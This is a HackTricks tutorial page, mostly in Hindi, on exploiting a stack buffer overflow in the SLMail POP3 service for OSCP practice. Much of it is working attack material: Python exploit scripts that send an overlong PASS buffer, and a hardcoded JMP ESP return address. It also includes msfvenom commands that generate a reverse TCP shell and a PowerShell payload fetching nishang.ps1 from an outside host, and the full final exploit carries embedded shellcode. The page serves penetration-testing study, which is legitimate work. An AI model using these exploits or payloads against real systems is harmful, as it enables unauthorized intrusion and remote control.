Windows Exploiting (Basic Guide - OSCP lvl)
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
SLMail सेवा स्थापित करना शुरू करें
SLMail सेवा को पुनः प्रारंभ करें
हर बार जब आपको SLMail सेवा को पुनः प्रारंभ करने की आवश्यकता होती है, तो आप इसे विंडोज कंसोल का उपयोग करके कर सकते हैं:
net start slmail
बहुत बुनियादी पायथन एक्सप्लॉइट टेम्पलेट
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
इम्युनिटी डिबगर फ़ॉन्ट बदलें
Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK
पर जाएं
इम्युनिटी डिबगर से प्रक्रिया को संलग्न करें:
File --> Attach
और START बटन दबाएं
एक्सप्लॉइट भेजें और जांचें कि क्या EIP प्रभावित है:
जब भी आप सेवा को तोड़ते हैं, तो आपको इसे फिर से शुरू करना चाहिए जैसा कि इस पृष्ठ की शुरुआत में संकेतित है।
EIP को संशोधित करने के लिए एक पैटर्न बनाएं
पैटर्न उतना बड़ा होना चाहिए जितना कि बफर जो आपने पहले सेवा को तोड़ने के लिए उपयोग किया था।
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
बफर को बदलें और पैटर्न सेट करें और एक्सप्लॉइट लॉन्च करें।
एक नया क्रैश दिखाई देना चाहिए, लेकिन एक अलग EIP पते के साथ:
जांचें कि क्या पता आपके पैटर्न में था:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
ऐसा लगता है कि हम बफर के ऑफसेट 2606 में EIP को संशोधित कर सकते हैं।
शोषण के बफर को संशोधित करके इसे जांचें:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
इस बफर के साथ EIP क्रैश 42424242 ("BBBB") की ओर इशारा करना चाहिए।
लगता है कि यह काम कर रहा है।
स्टैक के अंदर Shellcode स्थान की जांच करें
600B किसी भी शक्तिशाली shellcode के लिए पर्याप्त होना चाहिए।
आइए बफर को बदलते हैं:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
नए एक्सप्लॉइट को लॉन्च करें और EBP और उपयोगी शेलकोड की लंबाई की जांच करें
आप देख सकते हैं कि जब भेद्यता तक पहुंचा जाता है, तो EBP शेलकोड की ओर इशारा कर रहा है और हमारे पास यहां शेलकोड रखने के लिए बहुत जगह है।
इस मामले में हमारे पास 0x0209A128 से 0x0209A2D6 = 430B. पर्याप्त है।
खराब वर्णों की जांच करें
फिर से बफर बदलें:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
बदचर 0x01 से शुरू होता है क्योंकि 0x00 लगभग हमेशा खराब होता है।
इस नए बफर के साथ बार-बार एक्सप्लॉइट को निष्पादित करें, उन अक्षरों को हटाते हुए जो बेकार पाए जाते हैं:
उदाहरण के लिए:
इस मामले में आप देख सकते हैं कि आपको अक्षर 0x0A का उपयोग नहीं करना चाहिए (कुछ भी मेमोरी में सहेजा नहीं गया क्योंकि अक्षर 0x09 है)।
इस मामले में आप देख सकते हैं कि अक्षर 0x0D से बचा जाता है:
एक वापसी पते के रूप में JMP ESP खोजें
उपयोग करते हुए:
!mona modules #Get protections, look for all false except last one (Dll of SO)
आप मेमोरी मैप्स की सूची बनाएंगे। कुछ DLl खोजें जिनमें:
- Rebase: False
- SafeSEH: False
- ASLR: False
- NXCompat: False
- OS Dll: True
अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स मिलनी चाहिए, ऐसा करने के लिए निष्पादित करें:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
फिर, यदि कोई पता पाया जाता है, तो एक ऐसा चुनें जिसमें कोई badchar न हो:
इस मामले में, उदाहरण के लिए: _0x5f4a358f_
शेलकोड बनाएं
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
यदि एक्सप्लॉइट काम नहीं कर रहा है लेकिन इसे काम करना चाहिए (आप देख सकते हैं कि ImDebg के साथ शेलकोड पहुंचा है), तो अन्य शेलकोड बनाने की कोशिश करें (msfvenom के साथ समान पैरामीटर के लिए विभिन्न शेलकोड बनाएं)।
शेलकोड की शुरुआत में कुछ NOPS जोड़ें और इसका उपयोग करें और रिटर्न एड्रेस को JMP ESP करने के लिए, और एक्सप्लॉइट को समाप्त करें:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
warning
कुछ शेलकोड हैं जो अपने आप को ओवरराइट कर देंगे, इसलिए शेलकोड से पहले हमेशा कुछ NOPs जोड़ना महत्वपूर्ण है
शेलकोड में सुधार
इन पैरामीटर को जोड़ें:
EXITFUNC=thread -e x86/shikata_ga_nai
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।